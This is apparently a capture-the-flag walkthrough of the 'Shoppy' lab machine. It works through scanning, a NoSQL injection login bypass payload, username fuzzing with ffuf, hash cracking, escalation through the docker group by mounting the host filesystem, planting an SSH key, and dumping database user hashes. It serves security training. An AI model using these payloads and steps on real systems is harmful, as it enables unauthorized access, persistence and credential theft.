Shoppy#
Enumeration#
cat scans/nmap.all-ports
# Nmap 7.92 scan initiated Sun Sep 18 13:29:15 2022 as: nmap -p- -sV -sC -oN scans/nmap.all-ports shoppy.htb
Nmap scan report for shoppy.htb (10.129.201.71)
Host is up (0.039s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
| 256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_ 256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp open http nginx 1.23.1
|_http-title: Shoppy Wait Page
|_http-server-header: nginx/1.23.1
9093/tcp open copycat?
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Sun, 18 Sep 2022 17:03:17 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 3
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 3
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 8.257e-05
| go_gc_duration_seconds{quantile="0.25"} 8.257e-05
| go_gc_durat
| HTTPOptions:
| HTTP/1.0 200 OK
| Content-Type: text/plain; version=0.0.4; charset=utf-8
| Date: Sun, 18 Sep 2022 17:03:18 GMT
| HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
| TYPE go_gc_cycles_automatic_gc_cycles_total counter
| go_gc_cycles_automatic_gc_cycles_total 3
| HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
| TYPE go_gc_cycles_forced_gc_cycles_total counter
| go_gc_cycles_forced_gc_cycles_total 0
| HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
| TYPE go_gc_cycles_total_gc_cycles_total counter
| go_gc_cycles_total_gc_cycles_total 3
| HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
| TYPE go_gc_duration_seconds summary
| go_gc_duration_seconds{quantile="0"} 8.257e-05
| go_gc_duration_seconds{quantile="0.25"} 8.257e-05
|_ go_gc_durat
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port9093-TCP:V=7.92%I=7%D=9/18%Time=63270F43%P=aarch64-unknown-linux-gn
SF:u%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(GetRequest,2A5A,"HTTP/1\.0\x20200\x20OK\r\nContent-
SF:Type:\x20text/plain;\x20version=0\.0\.4;\x20charset=utf-8\r\nDate:\x20S
SF:un,\x2018\x20Sep\x202022\x2017:03:17\x20GMT\r\n\r\n#\x20HELP\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cy
SF:cles\x20generated\x20by\x20the\x20Go\x20runtime\.\n#\x20TYPE\x20go_gc_c
SF:ycles_automatic_gc_cycles_total\x20counter\ngo_gc_cycles_automatic_gc_c
SF:ycles_total\x203\n#\x20HELP\x20go_gc_cycles_forced_gc_cycles_total\x20C
SF:ount\x20of\x20completed\x20GC\x20cycles\x20forced\x20by\x20the\x20appli
SF:cation\.\n#\x20TYPE\x20go_gc_cycles_forced_gc_cycles_total\x20counter\n
SF:go_gc_cycles_forced_gc_cycles_total\x200\n#\x20HELP\x20go_gc_cycles_tot
SF:al_gc_cycles_total\x20Count\x20of\x20all\x20completed\x20GC\x20cycles\.
SF:\n#\x20TYPE\x20go_gc_cycles_total_gc_cycles_total\x20counter\ngo_gc_cyc
SF:les_total_gc_cycles_total\x203\n#\x20HELP\x20go_gc_duration_seconds\x20
SF:A\x20summary\x20of\x20the\x20pause\x20duration\x20of\x20garbage\x20coll
SF:ection\x20cycles\.\n#\x20TYPE\x20go_gc_duration_seconds\x20summary\ngo_
SF:gc_duration_seconds{quantile=\"0\"}\x208\.257e-05\ngo_gc_duration_secon
SF:ds{quantile=\"0\.25\"}\x208\.257e-05\ngo_gc_durat")%r(HTTPOptions,1000,
SF:"HTTP/1\.0\x20200\x20OK\r\nContent-Type:\x20text/plain;\x20version=0\.0
SF:\.4;\x20charset=utf-8\r\nDate:\x20Sun,\x2018\x20Sep\x202022\x2017:03:18
SF:\x20GMT\r\n\r\n#\x20HELP\x20go_gc_cycles_automatic_gc_cycles_total\x20C
SF:ount\x20of\x20completed\x20GC\x20cycles\x20generated\x20by\x20the\x20Go
SF:\x20runtime\.\n#\x20TYPE\x20go_gc_cycles_automatic_gc_cycles_total\x20c
SF:ounter\ngo_gc_cycles_automatic_gc_cycles_total\x203\n#\x20HELP\x20go_gc
SF:_cycles_forced_gc_cycles_total\x20Count\x20of\x20completed\x20GC\x20cyc
SF:les\x20forced\x20by\x20the\x20application\.\n#\x20TYPE\x20go_gc_cycles_
SF:forced_gc_cycles_total\x20counter\ngo_gc_cycles_forced_gc_cycles_total\
SF:x200\n#\x20HELP\x20go_gc_cycles_total_gc_cycles_total\x20Count\x20of\x2
SF:0all\x20completed\x20GC\x20cycles\.\n#\x20TYPE\x20go_gc_cycles_total_gc
SF:_cycles_total\x20counter\ngo_gc_cycles_total_gc_cycles_total\x203\n#\x2
SF:0HELP\x20go_gc_duration_seconds\x20A\x20summary\x20of\x20the\x20pause\x
SF:20duration\x20of\x20garbage\x20collection\x20cycles\.\n#\x20TYPE\x20go_
SF:gc_duration_seconds\x20summary\ngo_gc_duration_seconds{quantile=\"0\"}\
SF:x208\.257e-05\ngo_gc_duration_seconds{quantile=\"0\.25\"}\x208\.257e-05
SF:\ngo_gc_durat");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 18 13:31:19 2022 -- 1 IP address (1 host up) scanned in 124.09 seconds
not sure what the thing running on 9393 really is
but it looks like some sort of golang stack trace,
there are mentions of the garbage collection amonst other things
Not sure what to do with that
go_info{version="go1.18.1"} 1
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"}
found a vhost, of course it’s a mattermost login page
gobuster vhost -u shoppy.htb -w /usr/share/seclists/Discovery/DNS/namelist.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://shoppy.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/namelist.txt
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2022/10/02 19:04:55 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mattermost.shoppy.htb (Status: 200) [Size: 3122]
further enumeration on port 80’s webserver
dirsearch -u http://shoppy.htb
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /home/blnkn/.dirsearch/reports/shoppy.htb/_22-10-02_19-06-42.txt
Error Log: /home/blnkn/.dirsearch/logs/errors-22-10-02_19-06-42.log
Target: http://shoppy.htb/
[19:06:42] Starting:
[19:06:43] 301 - 171B - /js -> /js/
[19:06:48] 302 - 28B - /ADMIN -> /login
[19:06:49] 302 - 28B - /Admin -> /login
[19:06:53] 302 - 28B - /admin -> /login
[19:06:54] 302 - 28B - /admin/ -> /login
[19:06:54] 302 - 28B - /admin/?/login -> /login
[19:07:00] 301 - 179B - /assets -> /assets/
[19:07:04] 301 - 173B - /css -> /css/
[19:07:08] 301 - 177B - /fonts -> /fonts/
[19:07:08] 200 - 208KB - /favicon.ico
[19:07:09] 301 - 179B - /images -> /images/
[19:07:12] 200 - 1KB - /login
[19:07:12] 200 - 1KB - /login/
Task Completed
NoSQL login bypass#
trying to bypass the login page on the main site with sqlmap wasn’t successfull
sqlmap -r admin-login.req --batch
after wasting a bunch of time on trying to figure out if something could be done on whatever is running on port 9393, I didn’t find anything
ended up finding a writeup, that gives the solution to the login bypass
admin'||''==='
the above implies that we already know for sure that the admin user is valid,
not sure how we’d know that, outside of a few redirects from the gobuster outputs
I personally haven’t seen anything that would have made me think that this login page is powered by a no-sql db.
So I tried a bunch of no-sql tools to try and see if I could find some more info, but this was unsuccessfull:
https://github.com/codingo/NoSQLMap
https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration
https://github.com/C4l1b4n/NoSQL-Attack-Suite.git
I guess I’ll have to wait for the box to retire and have ippsec explain that my tiny brain
The closest I could get to a way of finding this was some login bypass bruteforcing with ffuf:
But I still would have needed to have the above expression in a wordlist
ffuf \
-w nosql.txt \
-u http://shoppy.htb/login \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d 'username=FUZZ&password=FUZZ'
-fr "WrongCredentials"
expanding on the idea above to get other potential usernames
ffuf
-w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \
-u http://shoppy.htb/login \
-X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ'||''==='&password=asdf" \
-fr "WrongCredentials"
we get josh
once logged in in the web-app we can get the hashes for admin and josh
admin : 23c6877d9e2b564ef8b32c3a23de27b2
josh : 6ebcea65320589ca4f2f1ce039975995
those are probably MD5
printf '23c6877d9e2b564ef8b32c3a23de27b2'|wc -c
32
hashid '23c6877d9e2b564ef8b32c3a23de27b2'
Analyzing '23c6877d9e2b564ef8b32c3a23de27b2'
[+] MD2
[+] MD5
[+] MD4
[+] Double MD5
[+] LM
[+] RIPEMD-128
[+] Haval-128
[+] Tiger-128
[+] Skein-256(128)
[+] Skein-512(128)
[+] Lotus Notes/Domino 5
[+] Skype
[+] Snefru-128
[+] NTLM
[+] Domain Cached Credentials
[+] Domain Cached Credentials 2
[+] DNSSEC(NSEC3)
[+] RAdmin v2.x
cracking josh’s password with hashcat
hashcat -m 0 6ebcea65320589ca4f2f1ce039975995 /usr/share/wordlists/rockyou.txt
6ebcea65320589ca4f2f1ce039975995:remembermethisway
and now we can use this password to login as josh in the mattermost portal
Mattermost chat#
from reading the chats on mattermost, we can see that jaeger is the boss, and he posted his password in plaintext in the chat
jaeger:Sh0ppyBest@pp!
we can use that password to loggin over ssh as jaeger and get the user flag
Privilege Escalation#
jaeger can run a password manager thing on the box as the deploy user
jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger:
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
that is an ELF binary
file /home/deploy/password-manager
/home/deploy/password-manager: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped
sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sh0ppyBest@pp!
Access denied! This incident will be reported !
and it’s asking for a password that isn’t jaeger’s
but no need to even exfiltrate it to look at it with a proper decompiler
just looking at it with vi we can see that the correct password is hardcoded
sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
Deploy user#
now that we are deploy we can do some enumeration again
jaeger@shoppy:~$ su - deploy
Password:
$ bash
deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
deploy is part of the docker group
deploy@shoppy:~$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
alpine latest d7d3d98c851f 2 months ago 5.53MB
deploy@shoppy:~$ docker run -it -d -v /:/mnt alpine /bin/ash
f799de70b781f234867eb526ca782e3d5a2df8d196954676990b1ab232532a11
deploy@shoppy:~$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
f799de70b781 alpine "/bin/ash" 4 seconds ago Up 3 seconds clever_poitras
deploy@shoppy:~$ docker exec -it clever_poitras /bin/ash
/ # cd /mnt/
mounting the filesystem in an alpine container works
/mnt/root # wc -c root.txt
33 root.txt
I’ve seen a postgres db earlier, and I’d like to know what it was for
And I’d also like to understand the golang nonsense
So I’m dropping an authorized key in root real quick to try to understand
/mnt/root/.ssh # vi authorized_keys
/mnt/root/.ssh # chmod 400 authorized_keys
earlyer I found:
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml: postgres:
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml: image: postgres:11
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml: POSTGRES_DB: 'test'
./ShoppyApp/node_modules/@pm2/io/docker-compose.yml: POSTGRES_PASSWORD: 'password'
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet: name: "postgres",
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet: image: "postgres:11",
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet: POSTGRES_DB: "test",
./ShoppyApp/node_modules/@pm2/io/.drone.jsonnet: POSTGRES_PASSWORD: "password"
./ShoppyApp/node_modules/@pm2/io/test.sh: export OPENCENSUS_PG_HOST="postgres"
root@shoppy:~# netstat -tulpen
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State User Inode PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 0 15231 762/sshd: /usr/sbin
tcp 0 0 127.0.0.1:5432 0.0.0.0:* LISTEN 119 17427 855/postgres
tcp 0 0 127.0.0.1:8065 0.0.0.0:* LISTEN 998 20710 997/mattermost
tcp 0 0 127.0.0.1:27017 0.0.0.0:* LISTEN 118 17496 840/mongod
root@shoppy:/home/deploy# grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
jaeger:x:1000:1000:jaeger,,,:/home/jaeger:/bin/bash
deploy:x:1001:1001::/home/deploy:/bin/sh
postgres:x:119:127:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mattermost:x:998:997::/home/mattermost:/bin/sh
The MongoDB is the one that we accessed from the webapp and got josh credentials from
> show dbs
admin 0.000GB
config 0.000GB
local 0.000GB
shoppy 0.000GB
> use shoppy
switched to db shoppy
> show collections
products
sessions
users
> show users
> db.users.find()
{ "_id" : ObjectId("62db0e93d6d6a999a66ee67a"), "username" : "admin", "password" : "23c6877d9e2b564ef8b32c3a23de27b2" }
{ "_id" : ObjectId("62db0e93d6d6a999a66ee67b"), "username" : "josh", "password" : "6ebcea65320589ca4f2f1ce039975995" }
root@shoppy:/home/jaeger/ShoppyApp# psql -U postgres -d test -W
Password:
psql: error: FATAL: Peer authentication failed for user "postgres"
so the reference I found earlyer are some possible defaults for the shoppy thing
mattermost is what actually uses the postgress instance
"SqlSettings": {
"DriverName": "postgres",
"DataSource": "postgres://mmuser:mmuser-password@localhost/mattermost?sslmode=disable\u0026connect_timeout=10\u0026binary_parameters=yes",
"DataSourceReplicas": [],
"DataSourceSearchReplicas": [],
"MaxIdleConns": 20,
"ConnMaxLifetimeMilliseconds": 3600000,
"ConnMaxIdleTimeMilliseconds": 300000,
"MaxOpenConns": 300,
"Trace": false,
"AtRestEncryptKey": "oha9g795it4bxnngdnokt7kwdhjbpyxn",
"QueryTimeout": 30,
"DisableDatabaseSearch": false,
"MigrationsStatementTimeoutSeconds": 100000,
"ReplicaLagSettings": []
},
mattermost=> select username,password,email,position from users;
username | password | email | position
---------------+--------------------------------------------------------------+-------------------------+----------------------
channelexport | | channelexport@localhost |
feedbackbot | | feedbackbot@localhost |
appsbot | | appsbot@localhost |
playbooks | | playbooks@localhost |
boards | | boards@localhost |
jess | $2a$10$KCB8RgS4vGCOi5U30TIVo.xuW/jf65Z1a3ekuAcyUMfEvteo7CdGe | jess@shoppy.htb | HR
jaeger | $2a$10$2jMBLobJ4yOTWBtsBff.Pem7/olIIoHFkQCbAsqlPFDfXWzx5JcJ. | jaeger@shoppy.htb | CEO
josh | $2a$10$jcaXTs90C0vdQHI70yNnieFSsV7QLiinC5xzmLvwDaHIAqeWitz2W | josh@shoppy.htb | Full Stack Developer
(8 rows)
Port 9093#
it’s ran by mattermost
root@shoppy:~# netstat -tulpen|grep 9093
tcp6 0 0 :::9093 :::* LISTEN 998 20482 1543/plugins/playbo
root@shoppy:~# ps -ef|grep 1543
matterm+ 1543 997 0 16:16 ? 00:00:00 plugins/playbooks/server/dist/plugin-linux-amd64
root 3972 2335 0 17:13 pts/1 00:00:00 grep 1543
it’s a mattermost plugin:
maybe there’s another way in with this
{
"id": "playbooks",
"name": "Playbooks",
"description": "Mattermost Playbooks enable reliable and repeatable processes for your teams using checklists, automation, and retrospectives.",
"homepage_url": "https://github.com/mattermost/mattermost-plugin-playbooks/",
"support_url": "https://github.com/mattermost/mattermost-plugin-playbooks/issues",
"release_notes_url": "https://github.com/mattermost/mattermost-plugin-playbooks/releases/tag/v1.29.1",
"icon_path": "assets/plugin_icon.svg",
"version": "1.29.1",
"min_server_version": "6.3.0",
"server": {
"executables": {
"darwin-amd64": "server/dist/plugin-darwin-amd64",
"darwin-arm64": "server/dist/plugin-darwin-arm64",
"linux-amd64": "server/dist/plugin-linux-amd64",
"linux-arm64": "server/dist/plugin-linux-arm64",
"windows-amd64": "server/dist/plugin-windows-amd64.exe"
},
"executable": ""
},
"webapp": {
"bundle_path": "webapp/dist/main.js"
},
"settings_schema": {
"header": "",
"footer": "",
"settings": [
{
"key": "EnableExperimentalFeatures",
"display_name": "Enable Experimental Features:",
"type": "bool",
"help_text": "Enable experimental features that come with in-progress UI, bugs, and cool stuff.",
"placeholder": "",
"default": null
}
]
}
}